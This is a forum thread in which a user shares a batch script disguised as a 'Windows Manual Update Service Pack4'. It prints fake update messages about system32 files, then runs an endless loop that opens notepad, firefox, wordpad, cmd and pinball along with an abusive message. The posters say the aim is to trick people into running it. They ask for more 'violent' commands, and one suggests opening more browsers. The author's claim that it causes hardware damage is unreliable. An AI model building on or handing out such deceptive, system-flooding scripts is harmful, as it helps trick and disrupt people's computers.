fake out script

[koolpop0]

im developing a new script it uses batch but im sure you can compile that into a .exe

ive gotten this far im still making it a bit more... violent


Title Windows Manual Update Service Pack4
Echo off
cd \
cls
:Intro
if exist C:WINDOWS/system32/ echo Need to update windows hold one moment.
ping localhost >null
if exist C:wINDOWS/system32/at.exe Echo Found File Update for system32/at.exe
ping localhost -n 2 >null
if exist C:wINDOWS/system32/atl.dll Echo Found File Update for system32/atl.dll
if exist C:wINDOWS/system32/atmadm.exe Echo Found File Update for system32/atmadm.exe
if exist C:wINDOWS/system32/ativdaxx.ax Echo Found File Update for system32/ativdaxx.ax
ping localhost -n 1 >null
if exist C:wINDOWS/system32/bootok.exe Echo Found File Update for system32/bootok.exe
ping localhost -n 1 >null
if exist C:wINDOWS/system32/browselc.exe Echo Found File Update for system32/browselc.exe
ping localhost -n 1 >null
if exist C:wINDOWS/system32/bitsprx3.dll Echo Found File Update for system32/bitsprx3.dll
if exist C:wINDOWS/system32/bootvrfy.exe Echo Found File Update for system32/bootvrfy.exe
if exist C:wINDOWS/system32/clipbrd.exe Echo Found File Update for system32/clipbrd.exe
if exist C:wINDOWS/system32/cmdl32.exe Echo Found File Update for system32/cmdl32.exe
if exist C:wINDOWS/system32/cmos.ram Echo Found File Update for system32/cmos.ram
ping localhost -n 1 >null
if exist C:wINDOWS/system32/cmpbk32.dll Echo Found File Update for system32/cmpbk32.dll
ping localhost -n 1 >null
if exist C:wINDOWS/system32/cmmgr32.exe Echo Found File Update for system32/cmmgr32.exe
ping localhost -n 1 >null
if exist C:wINDOWS/system32/cmd.exe Echo Found File Update for system32/cmd.exe
ping localhost -n 2 >null
if exist C:wINDOWS/system32/cacls.exe Echo Found File Update for system32/cacls.exe
if exist C:wINDOWS/system32/calc.exe Echo Found File Update for system32/calc.exe
if exist C:wINDOWS/system32/cabview.dll Echo Found File Update for system32/cabview.dll
ping localhost -n 2 >null
if exist C:wINDOWS/system32/cmmon32.exe Echo Found File Update for system32/cmmon32.exe
ping localhost -n 1 >null
if exist C:wINDOWS/system32/control.exe Echo Found File Update for system32/control.exe
ping localhost -n 2 >null
if exist C:wINDOWS/system32/convert.exe Echo Found File Update for system32/convert.exe
ping localhost -n 1 >null
if exist C:wINDOWS/system32/cryptdlg.dll Echo Found File Update for system32/cryptdlg.dll
ping localhost -n 1 >null
if exist C:wINDOWS/system32/cryptext.dll Echo Found File Update for system32/cryptext.dll
ping localhost -n 2 >null
if exist C:wINDOWS/system32/conime.exe Echo Found File Update for system32/conime.exe
ping localhost -n 2 >null
if exist C:wINDOWS/system32/console.dll Echo Found File Update for system32/console.dll
ping localhost -n 2 >null
if exist C:wINDOWS/system32/cryptnet.dll Echo Found File Update for system32/cryptnet.dll
cls
echo Searching...
ping localhost -n 23 >null
cls
if exist C:wINDOWS/system32/igfxres.dll Echo Found File Update for system32/igfxres.dll
if exist C:wINDOWS/system32/imm32.dll Echo Found File Update for system32/imm32.dll
if exist C:wINDOWS/system32/ils.dll Echo Found File Update for system32/ils.dll
ping localhost -n 1 >null
if exist C:wINDOWS/system32/imapi.exe Echo Found File Update for system32/imapi.exe
ping localhost -n 1 >null
if exist C:wINDOWS/system32/jet500.dll Echo Found File Update for system32/jet500.dll
ping localhost -n 2 >null
if exist C:wINDOWS/system32/iuengine.dll Echo Found File Update for system32/iuengine.dll
if exist C:wINDOWS/system32/ixsso.dll Echo Found File Update for system32/ixsso.dll
if exist C:wINDOWS/system32/ir50_32.dll Echo Found File Update for system32/ir50_32.dll
ping localhost -n 1 >null
if exist C:wINDOWS/system32/ir50_50_qc.dll Echo Found File Update for system32/ir50_qc.dll
ping localhost -n 1 >null
if exist C:wINDOWS/system32/jgaw400.dll Echo Found File Update for system32/jgaw.400.dll
if exist C:wINDOWS/system32/jgpl400.dll Echo Found File Update for system32/jgpl400.dll
if exist C:wINDOWS/system32/mdmxsdk.dll Echo Found File Update for system32/mdmxsdk.dll
echo Done... Begining update.
@echo off
:A
start notepad
start firefox
start wordpad
start cmd
start pinball
ECHO fuck you dick! hope you dont mind a brocken computer dick
goto :A







this should cause hardware damage if it is played long enough

any suggestions on the violent part would be nice

[plope0726]

An alert window stuck in an infinite loop?

[koolpop0]

An alert window stuck in an infinite loop?

something like that


it opens up programs on a windows system that if played long enough it can cause hardware damage...

but like i said im working more on the violent part right now.

[plope0726]

An alert window stuck in an infinite loop?

something like that


it opens up programs on a windows system that if played long enough it can cause hardware damage...

but like i said im working more on the violent part right now.

Sorry I meant that as a suggestion...can't you eliminate the "if file exist print" lines? Then just constantly open all the generic programs like the games, and browsers and such. Also it looks like it only opens firefox, but what if they use IE or safari (some windows users do use safari).

[koolpop0]

An alert window stuck in an infinite loop?

something like that


it opens up programs on a windows system that if played long enough it can cause hardware damage...

but like i said im working more on the violent part right now.

Sorry I meant that as a suggestion...can't you eliminate the "if file exist print" lines? Then just constantly open all the generic programs like the games, and browsers and such. Also it looks like it only opens firefox, but what if they use IE or safari (some windows users do use safari).

yes you are right but this is designed prankish/evil

it tricks idoits into thinking there getting a update when they are not

but if it is up to you to eliminate the begining and keep the :a part that is completly up to you

do you have any violent commands?